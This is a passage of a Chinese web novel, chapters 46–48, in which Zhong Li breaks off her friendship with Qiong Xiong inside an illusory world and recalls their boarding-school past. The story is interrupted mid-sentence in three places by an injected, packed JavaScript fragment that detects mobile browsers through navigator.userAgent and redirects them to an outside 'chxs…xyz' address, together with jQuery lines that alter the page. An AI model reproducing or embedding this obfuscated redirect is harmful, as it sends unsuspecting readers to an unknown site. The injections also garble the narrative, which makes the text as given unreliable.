果然都说人焦虑心烦的时候得出去外面走走,凉爽的清风扑在脸上,钟励越走越坚定。
没事,不过一个小幻境,她之前能出去,现在也能出去的。
“呵。”她低头扯出一个苦笑,也只能这么安慰自己了。
她慢悠悠跑了半圈就停下来了,呼吸声微微急促。琼芎跟纪善都站在跑圈里边,但她一点儿视线也不分。
“运动运动也挺好的,坐久了办公室,活动一下对身体好。”
钟励活动了一下肩膀,脖子咔咔响。她半眯着眼睛,不然沙子容易吹进眼睛里,接着她将风吹乱的碎发捎到耳后。
她一圈一圈走着,心无旁骛,什么都不想,一直缠绕着她的焦虑好像突然消失了。
世界好像突然安静下来了,跑道上八条路,只有她女生,但周围人并不觉得奇怪。
围观群众的眼珠子像安装了定位,钟励走到哪里,他们盯到哪里。
也不知道是过去了多久,钟励身上没有手机也没有手表,这天空要是一成不变,要么突然变化,她也无法分辨时间的流逝。
钟励也有点走累了,她的小白鞋鞋底已经被掉色的操场染成红色了。虽然她之前觉得红鞋底别有一番风味,但显然不是这种红色。
“够了,别跑了。”
琼芎从她后方走上来,握住了她的手臂,一股不容拒绝的力道让钟励停下脚步。
“我还没跑完呢。”钟励是停了下来,但她依旧目视前方,没有分给琼芎一个眼神。
或许是琼芎见不得被忽视,她一个大跨步,直接挡在了钟励前面,“生气了?”
钟励没说话,既然前面有人,那她换个方向,360度,哪里都能走。
可琼芎就跟那田地里的向日葵一样,钟励这太阳转到哪,她也就跟到哪。
两个人在原地转了好几圈,钟励都转烦了,她推了一把琼芎的肩膀,“干什么?挡我路干嘛?我还没跑完呢,不是要让我参加校运会吗?”
“你那是跑步吗?你不是在走路吗?”
钟励可见不得琼芎这一副无所谓的样子,居然还能开玩笑。
“懒得理你,那我算跑完了吧。以后少来针对纪善。”
有什么事情直接说出来解决,藏着掖着使一些小手段,牵扯无辜的人进来,这样很不好。
“你心疼了?他好像也没被我怎么样吧。”
琼芎冷下脸,原先一碧如洗的天空突然从远处飘来一阵乌黑的云团,霎时间内落下一道雷电。
“我真是受够了你这副阴晴不定的样子,我为什么要一直看你的脸色生活?”
钟励双手握成拳放在大腿两侧,可能是太激动了,身体一直发抖,呼吸急促。
“就这样吧。”
跟一个什么都不知道的人,再说也是没有意义的吧。钟励感觉自己就像一拳砸在了棉花上,对方还一无所知。
她刚朝纪善的方向踏出一步,天空立刻劈下一道闪电,被劈中的那块草地由翠绿变得焦黑,还冒出了几缕黑烟。
不等钟励做出反应,豆大的雷雨劈头盖脸落了下来,只是这雨是“局部”。精准只在以纪善为圆心,两米为半径,就对着那块儿地下。
纪善要往旁边移动,这云团便也跟着跑。
反观钟励这边,虽然不是大太阳,可也算得上是好天气。
“琼芎,这雨下得很奇怪不是吗?你怎么看?”
钟励转头看着罪魁祸首,可她却一副无知无觉的模样,摊摊手无奈道:“可能是他命不好吧,连乌云都追着他,没办法了。”
钟励受够了打哑谜了,她径直走向纪善,云团跟装了GPS一样,原本下雨的那块儿地方,钟励一靠近,雨水自动消失。
最终形成了这副诡异的情形,钟励站在纪善的旁边,天上的雨水只打了纪善身上,并且从身上顺流而下的雨水就算滴溅到地上,激起的水花也像被什么东西吞噬了一样,总之钟励身上干干净净清清爽爽,就跟身上穿了一层保护罩一样。
“邪了门了。”
钟励干脆抱向了纪善,他身上的冷意朝她袭来,她抖了两下,抱得越紧。
显然是很有用的,天生的云团似乎陷入了迷茫,已经不下雨了,只是一直在空打雷,当然这雷也没有劈下来。好像出了bug,下也不是,不下也不是,跟设定冲突了。
钟励同样拥有在这个小世界里改变事物的能力,她轻拍纪善的后背,手中窜出黑雾,几秒后,他身上的衣物开始变得干燥。
“我没事。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894717|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”纪善的声音沙哑,语气依旧温柔。
钟励松开了他,轻轻抬头看向他。他眼底里布满红血丝,呼出的气息也有些灼热,倒像是感冒前兆。
她下意识将手放在了他的额头上,问道:“你也会生病吗?”
纪善轻笑,只是喉咙里突如其来的痒意让他咳嗽不止,咳得脖子通红。
“我失去了力量之后,就只是一个普通人了,当然也会感冒生病。”
“那我们走吧。”她牵起纪善的手,异常的高温让她觉得牵的是一只人形火炉。
她在这里有改变力量的能力,只要远离琼芎,依靠她的力量,应该可以将纪善的感冒治好。
一个身形高大的成年男性,此时却跟一只病怏怏的小狗一样,跟在钟励的身后,她去哪里他就去哪里。
“抱歉,都是我不好,让你受了这么多罪。”钟励心里蔓延出细细碎碎的愧疚。
“你们要去哪里?”琼芎果不其然挡在了他们面前,一双好看的眼睛似乎要喷出火,死死盯着两人交握住的手。
“没去哪里。”钟励也不知道去哪里,她只是想暂时逃开这无边无际的网,哪怕实际上她仍然在监视之下。
“我不同意。”琼芎身上冒出丝丝缕缕的黑雾。
或许是这个世界全然由她操控,她情绪外泄得特别明显。
“你有什么资格不同意?我爱干什么就干什么。”
就连钟励的父母都没有管得这么严格呢,钟励也升起了一股腻烦的心情。
她是个讨厌麻烦的人,通常遇到麻烦的第一件事,要么解决麻烦,要么解决制造麻烦的人。
现在看来琼芎已经说不通了,那干脆绝交好了。就算是从小就认识很多年的朋友,也不代表可以一直走下去。
人很坚强的,身边少了谁,都能活下去。
“我们绝交吧,不再是朋友。可以吧,那我做什么事情,都与你无关。”
钟励眼神坚定,口齿清晰,一个字一个字说出口。
“什么?”琼芎瞳孔一缩,她惊讶地张大了嘴巴,随即变为愤怒,“是因为他吗?他勾引了你,让你失去理智放弃了对你好的人。”
“你为什么非要牵扯进无辜的人?明明这是我们两个人的事情。”
“可要是没有别人,你又怎么会改变?”
谈判已经进行不下去了,琼芎全然没了理智。她胸腔起伏不定,气得不轻,她轻哼一声,肯定道:“是了,都是他的错。是他引诱的你,让你变坏了。”
话音刚落,琼芎瞳孔变为了诡异的红色,脖子轻轻晃动,“那么,他不存在就好了。我们就会回到过去。”
说着,她抬起了手,浑身上下弥漫着浓烈的黑雾,手中聚集了力量,正在逐渐壮大,眼见就要朝纪善攻击过来。
“啪”一声,钟励一巴掌扇了过去,琼芎的脸被打得偏了一下,身上咄咄逼人的气势好像随着这一巴掌而烟消云散。
“琼芎,我们绝交。”
钟励撂下这句话后,她便拉着纪善大步离开了。
操场上的一切都陷入了停滞,不知是死是活的其他人,都一致看着两人远去的方向,瞳孔黑漆漆一片,嘴里异口同声念叨道:“错了,错了。”
47. 第 47 章
钟励拉着纪善到处乱逛,整个学校其实也不大,没多久就逛完了。可能是太气了,她走完了全程才想起来纪善有脚伤,不能正常速度走。
“抱歉,我忘记你的伤。你的腿还好吧。”
纪善气定神闲,双腿笔直,他站立的时候看不出异样来。
他摇了摇头,受伤的腿的位置浮现出闪闪光点,“其实我的力量有在逐渐恢复,刚刚我是装的。”
怕钟励不相信,还以为是安慰她找的借口,纪善活动了一下筋骨,绕着钟励小跑了两圈。“你看,我还能跑呢,完全没事了。”
“唉,那就好。”钟励长叹了一口气,仿佛沧桑了十岁。她随便找了一个台阶,用手拍了两下就坐下,肩膀塌了下来,就连黑眼圈都深了不少。
她双手捧着脸,因此说话有些口齿不清,“这比上班还让人沧桑啊。”
好不容易辞职后养起来的好气色,全没了。还面临被关在幻想的世界当中,疑似要当一辈子的高中生。
“我们可以出去了。”
原本钟励还趴在膝盖上呢,一听这话她立马抬起头,眼睛亮晶晶的,“你刚刚说什么?我没有听错吧。”甚至因为站起来太着急而眼前一黑差点摔倒。
纪善扶住她的手臂,轻声安抚道:“我察觉到琼芎体内有两股力量正在斗争,我怀疑是恶灵在跟她争夺身体的控制权。如果是这样的话,那她会有虚弱期,我们可以趁虚而入。”
“只要击败恶灵,我们就可以出去了。”
“不过……”纪善皱着眉头犹豫道:“目前我的力量只恢复了不到一半,短时间内是无法达到这个结果的。所以还需要你去稳定一下她。”
“稳定一下她吗?”
“是的,”纪善点点头,过了几秒他犹豫看着钟励,“所以可能希望你去道歉,刚刚才抛下狠话,现在就跑过去求和,怕你觉得丢脸。”
也是,要一般人刚刚吵完架,怎么也得为了面子冷战几天,立刻就求和的话,面子往哪里放,又显得是她的错了一样。
“就这,这么简单?”
钟励并不觉得这有什么,她松一口气,“还以为多大事呢。”
她低头看了看地板,忽然发现自己的鞋带掉了,便蹲下来系鞋带。
操场不仅染色了她的鞋底,就连鞋子的侧边都被染到了一点儿。
“其实也不用我去求和。她自己应该会来找我的。”
她突然安静了下来,看着脚上的这双鞋子,而后轻声道:“这双鞋子就是之前她向我求和送的礼物。”
她们也不是一直不吵架的,但凡是两人相处,只要靠得近一点了,难免产生矛盾,她们也不例外。
钟励一开始还没想起来,因为鞋子的风格是她喜欢的,加上又隔了很长时间了,她还以为是自己买的。直到刚刚纪善提到了“求和”。
钟励慢慢站起身,眼神看向远方,眨了眨眼,思绪随着微风发散,沉睡的记忆开始苏醒。
钟励高中是寄宿式的学校,并且因为学校在郊外,与外界几乎是隔绝了。反正对于没有手机,不能随便出门的学生来说,确实与世隔绝了。
每个月钟励回去的时候会取生活费,有时候碰上不放假,那就只能等父母送过来。
那次刚好遇上降温,钟母便也带着几件厚衣服过来了。
“妈,妈!”
钟励从班主任那里得知了母亲下午来学校的消息后,她一下课便跑出了教室,一路越过人群奔向了学校大门。身上穿着薄薄的打底衣,是几年前从表哥那里继承来的,很丑,只能当内搭。外面是一件蓝白的校服外套,跑起来凉风往宽松的校服里灌,她一边吸气一边跑:“冷死了冷死了。”
大门紧闭,钟励只能通过围栏跟母亲说话,两个人之间隔着铁栅栏,还真像来探监的。
钟母头发随意绑在脑后,黑丝中出现了几缕白发。眼皮有些松弛,双眼皮的间距相比以前变宽了。眼尾也出现了明显的皱纹,以前是笑起来才能看到,现在不做表情也能看到了。
她从两栏之间把东西递过来,是一杯热乎乎的奶茶。
“怎么是热的?我想喝冰的。”
钟母白了她一眼,“大冬天喝什么冰的,女孩子喝多了冰的对身体不好。”
“好吧。”在“监狱”里有得喝就不错了,热的也好喝。
大件的衣服从两栏之间递不过来了,两人走到伸缩门处,从门的上方递进来。
用一只大袋子装着,钟励摸了摸,问道:“给我拿了哪几件衣服啊?”她依稀记得她衣柜里的衣服不足以装满这么一大袋,哪怕是冬天的厚外套。
因为她大部分时间都在学校穿校服,就算是回家也很少出门,所以也没什么衣服。
“就你那件黑色外套。还有几件你表姐给你的衣服。”
钟励笑容淡了下来,“我不能不要吗?我就穿我自己的衣服就好了。”
她从小到大都捡着别人的衣服穿,可现在她也不想要了。
钟母不认同看着她,“这都是牌子货,一件外套差不多几百甚至要上千了,这也不要吗?”
钟励不认识什么牌子,对她而言蔽体保暖的衣服就是好衣服。加上青春期的敏感变化,让她不想再捡别人的东西了。
她低着头,右手无意识触摸袋子上方打的结,嘴角抽动,“我知道,我只是不想穿别人穿过的衣服而已。”
她不敢直视母亲,她内心清楚,收下别人送来的衣服是最好的选择。既不用花钱,又能保暖。可她偶尔也想做出不那么理智的行为,全凭心意做事。
这座城市又不冷,冬天没多久就过去了。穿着自己普普通通的几十块的外套,也可以过冬。
果不其然,钟母脸色难看,抿了抿唇,“还成我的错了,我辛辛苦苦给你把衣服从家里带过来,我多此一举了是吧。”
“我不是这个意思。”钟励的声音小得跟蚊子叫一样。
“行了,那我拿回去。你不要就不要吧。把你自己那件拿走吧。”钟母一把夺走钟励怀里抱着的袋子。
眼见母亲就要拆开袋子,钟励出声喊住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910149|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了她:“等一下,我穿。”
钟励不想跟母亲吵架,不想闹得不愉快,本来最近家里事情就多。
钟母看了她一眼,“又愿意穿了?你刚刚不是说不要吗?”
钟励扯出一个笑容,重新把袋子拿了回来,“我觉得这样也挺好的,等我上了大学再买新的好看的衣服。高中……认真学习就好了,不用太好看。”
钟母满意点头,“这些衣服质量不错的,比起你自己买的那些,不知道质量好了多少,人家愿意送给我们,我们也要学会珍惜。”
钟励沉默点点头,手中的奶茶一点点冷下来,拎着奶茶袋子的右手指甲变成了紫色,手指握成拳头的时候,掌心可以感受到指尖的冰凉。
“那我先回去了,时间比较紧。”
这耽搁的时间,她就不吃饭了,喝奶茶也能顶一顿饭。
“行。”钟母从斜挂包里掏出几张红色的钞票,递给钟励。
“你的生活费,记得吃饱饭,不够就说。最近家里事情比较多,你自己照顾好自己。”
钟励接过钞票,攥在手心,听着母亲的絮叨。
“你都上高中了,自己要抓紧自己的学习。我不指望你跟你表姐一样优秀,但你以后至少要能在社会上生存下来吧。”
“嗯,我知道的。”钟励低垂着头,手中的奶茶似乎在冷风中变凉,俨然变成了一杯冰奶茶。
“那你回去上课吧,我先走了。”钟母挥了挥手,骑着电动车扬长而去。
钟励也没空多想什么,她没多少时间了,得赶紧去充饭卡,不然等她洗完澡充值饭卡的工作人员都下班了,再隔不久也要上晚自习了。
她回到宿舍的时候,刚好其他舍友都洗完澡了。
琼芎擦着湿发从阳台走过来,说道:“现在才回来?快去洗澡吧,不然等一下要没热水了。”
钟励匆匆洗完澡,稍作打理就出门了。今天是班主任的晚自习,通常他们得提前十分钟到,不然会被视为迟到。
钟励的头发哪怕用干毛巾擦了之后,还是湿的,披在肩上打湿了校服。尤其走在路上,冷风这么一吹,整个脑袋跟进了冰箱一样。
他们学校没有吹风机,自带也是不可以的,宿舍的插头没电,是防止学生使用手机的手段。所以无论是严寒酷暑都只能让头发自然风干。
琼芎的头发也是湿润的,她穿着白色的羽绒服,像食堂里新鲜出炉的白馒头。
“唉,钟励,我跟你说,我最近好烦啊。”
钟励一边走路,一边将手指头插进头发里,不停扒拉头发,期望干得快一些。
“怎么了?”
“我爸又给我买礼物了,什么金手链的,谁稀罕?可能是愧疚心理又发作了吧。”
钟励的头被冷风吹得有些疼了,她皱着眉头,耐心听着琼芎的话,并回应她:“不要白不要嘛,反正是你爸。不给你花难道要给你那个私生子弟弟吗?”
琼芎双手抱胸轻哼一声,“谁稀罕那点臭钱?什么房子车子的我才不稀罕,钱有什么重要的。”
48. 第 48 章
“钱很重要的,物质基础决定上层建筑,课本里说的。”
钟励口袋里还放着母亲给的生活费呢,本来想洗完澡就去充值饭卡的,但时间来不及了,只能等待明天。
“钱有什么重要的,生不带来死不带去的。”琼芎不以为然,她摸了摸后脑勺,头发差不多干了,带些大弧度的自然卷,很好看。
“你什么时候这么爱钱吗?要是能选,我宁愿没有钱,换一个安宁一点儿的人生。比如我就很羡慕你啊。”
“哈哈。”钟励尬笑两声,止住了这个话题。
她半眯着眼,头发太冰了,血管感觉都要僵住了。她知道琼芎自然也有她的烦恼,可是说羡慕她不至于吧,她才羡慕琼芎呢,长得好看,家里也很富裕,成绩还不错,似乎一切都轻而易举得到。
虽然她家里不至于跟琼芎那么混乱,可在她小的时候,父母也是闹过离婚的,也曾因为她的性别而吵架,要不是生不了第二个,说不定就没有她的地位了。而且也经常因为钱的事情吵架,钟励听得都麻木了。
她经常想,要是有钱就好了,说不定过年的时候他们能少吵两句。
“这次的月考你考得怎么样?”琼芎换了一个话题,是学生难免会聊到成绩。
“一般吧。”其实钟励想说这次的英语她挺有把握的,感觉会考得比平常高一点,但话到嘴边又被她给咽了下去。这不能说,就跟许愿一样,说出来就不灵了。
“英语不太好。”她反着说,希望上天听到后给她反着来。
两个人刚到教室,恰好卡着前十分钟,班主任手里捏着一捆试卷,已经批改好了。她站在讲台上,眉头紧皱,冷漠看着下面,全班鸦雀无声。
钟励跟琼芎两个人在门口踌躇了几秒钟,对视一眼,低头进去了。
钟励晃了晃桌面上的保温杯,她拧开瓶盖往里看了一眼,就剩两口了。她一抬头咕咚喝完了剩余的一点水,想出去打水,但看着班主任这表情凝重的样子,她觉得还是不要触霉头了。
铃声刚响,班主任就坐在讲台上,让念到名字的同学上去拿自己的试卷。
钟励擦了擦额头上不存在的汗滴,她心里有点紧张,不自觉添了一口干巴的嘴唇,很粗糙,可能是裂开了,有点疼。
“我们班这次还是琼芎最高,145分,大家要好好向她学习啊。”
琼芎转过头朝钟励眨了眨眼,只是钟励现在也没有玩闹的心情了,她扯出一个笑容,却不小心拉扯到了嘴唇裂开的口子。
“钟励。”
终于叫到她了,钟励淡定起身,其实手心捏着一把汗。无论每次怎么告诉自己只是一次月考而已,但都很难不去在乎。如果连月考都考不好,那等到真正高考的时候,又怎么可能突然祖坟冒青烟变好了呢?
班级里其他同学都低着头在学习,只有叫到自己的时候才会抬头。
钟励踏上讲台的台阶,她的那张试卷就在班主任手下,班主任见她来了,压低声音道:“你的英语要加把劲了啊。你看看你的阅读错了多少?是词汇量不够吗?还有作文,你的语法简直是中式英语。”
钟励全身僵硬,双手放在身后,手指交缠,她咬唇点点头,声音很小,“嗯,我知道了。”
班主任叹了口气,将她的试卷翻了翻,又看了一遍,语重心长说道:“你跟人家琼芎学一学啊,你们不是好朋友吗?问一下她怎么学习的。”
“这人呐,要是没有家世,没有相貌,天赋又一般,可不就得靠自己加倍努力了,你说对吧。”
“嗯。”钟励始终低着头,从喉咙里冒出一个字,嘴唇的小伤口被她咬得更严重了。
或许是天气真的太冷了,又可能是她不太爱惜自己的身体。湿发自然风干后,身体是回暖了,可额头好像也变得过于热了,脑袋顿顿地疼。
晚自习的时间过得很快,眨眼间,第一节课的下课铃按时响起。班主任离开后,班里的严肃气氛好转了一点儿。
“叩叩”两声,琼芎不知道什么时候来到了钟励的桌前,她脸带笑意,问道:“多少分啊?”
人总难免对比,尤其钟励一直处在父母将她与同龄人的对比当中。
蛋糕就那么多,总有人吃不上,你只能是超越别人才能分得一点。这种情况下,竞争对比是再寻常不过的事情了。
“没多少。”钟励“唰”一下将桌面上的试卷塞进桌屉里,琼芎也不是瞎子,当然看出来了。
“瞒着我?跟我有什么不能说的,你有什么不会的地方,我教你啊。”
青春期的自尊心总是来得莫名其妙,要是二十几岁的钟励,她保准扬起一个大大的笑容,挽着琼芎的手臂说道:“大佬,求带啊。”
可现在的她只有十七岁,她也不想总处于这段关系的弱势,她不想一直落后于琼芎,在任何方面。
“不用了,我自己看看,应该可以学会的。不用麻烦你了。”
钟励往前坐,屁股只坐了椅子的前三分之一,用整个身躯堵着桌屉,同时一直低着头假装学习,实则脑子一片空白什么也学不进去。
“为什么?有我教你不是更好吗?我可是全班第一,说不定还是全校第一呢,这么好的资源在你面前,不利用一下吗?”
琼芎不解,她弯下腰凑近钟励,但只得到更为剧烈的抵触。
看到钟励这副模样,她眯起眼睛,皱眉问道:“你不会是懈怠了吧?”
对于一个处于高压状态下,但成绩却迟迟没有进步的学生而言,这无疑是在否定她的所有努力。
钟励攥紧了拳头,喉头滚动,“关你什么事。”
成绩要是没进步,最着急的肯定是自己。但她不想认为自己是个傻子,一点儿天赋都没有,所以哪怕是学习的时候,别人问起来都是没有啊,明明只是在玩,她可没有在学习。这样的话哪怕她失败了,别人看来也在情理之中。
没有成效的努力最为可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921915|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑,她也想当所谓的天才,哪怕只是沾边一点点。
“我只是想帮你。”
“不用你帮,大天才。”
钟励起身,一眼没瞧琼芎,径直朝着教室外走去。大家也为两人剑拔弩张的气氛感到惊讶,但只过了几分钟,又都投入到学习当中了。
“哗啦啦”的清水从水龙头流出,钟励双手接了一捧水,直接泼在了脸上,她有掌握好分寸,没有弄湿衣服。
冰冰凉凉的触感让她感觉到自己的体温确实过高了,她抹了一把脸,抬头看着镜子。镜子里的女生唇色苍白,嘴唇中间干裂了,冒出血丝。脸颊是异样的红润,双眼迷离。
她双手捧着脸,更凑近镜子一点,喃喃道:“我感冒了?”
“可是今天才周二,离周末还有好久,而且月假两周后才放,好难请假的。”
“应该不严重吧。”说着她摸上了额头,可是自己是摸不出来自己是否发烧的。她的感知已经异常了。
钟励又接了一捧水,试图降温,还从口袋里抽出几张纸,用水浸湿后当成简易退烧贴,可没几分钟这“退烧贴”就变热了。
她拍了拍脸,呼出的气体热热的。想着还是先回去上晚自习吧,晚上睡一觉说不定明天就退烧了,之前也不是没有发烧过,问题不大。
她回去的时候上课铃已经响过了,才想起来要去接水的。可是老师已经到了,再去不合适了。
钟励一回到座位,便发现自己的桌子上留着一张便利贴。
【你是不是感冒了不舒服?杯子里也没有水了,我帮你接了刚刚好的温水,赶紧多喝几口。抱歉,我不是说你不努力的意思,我只是想帮一下你,我说话是有点难听了,对不起。】
落款人是琼芎。
可能是感冒加重了吧,钟励感觉眼前一阵模糊。这鼻涕方向感不好吧,都从眼里冒出来了。
她拧开杯盖,满满的热水,她接连喝了好几口,干涸的喉咙终于得到了滋润。这一喝就喝了一半。
她转头想去看琼芎的时候,发现位置上空空如也,人不见了。
没过几分钟,讲台上坐班的老师也收拾东西走人了,奇怪,明明还没下课呢。
钟励抽出资料书,认真做题。感冒也要学习,不然要落后了。本来就天资一般,就只能天道酬勤了。
正当她全神贯注的时候,忽然感觉自己的衣角被轻轻一扯,她疑惑转头,发现是琼芎蹲在她旁边,见她转过头来,轻笑了一下。
“出来。”琼芎做了一个口型,同时大拇指指了指外面。
明明钟励才是迁怒她人的人,可更扭捏的竟然也是她。她还没做好应对琼芎的准备呢。
“干嘛。”钟励出去后,也不敢正眼看琼芎一眼,道歉有点尴尬啊。
琼芎一把拉过她的手臂,两个人走到了楼梯处。
琼芎指着楼梯上放着的一个快递,眉眼弯弯,说道:“当当当当,我送你的礼物。”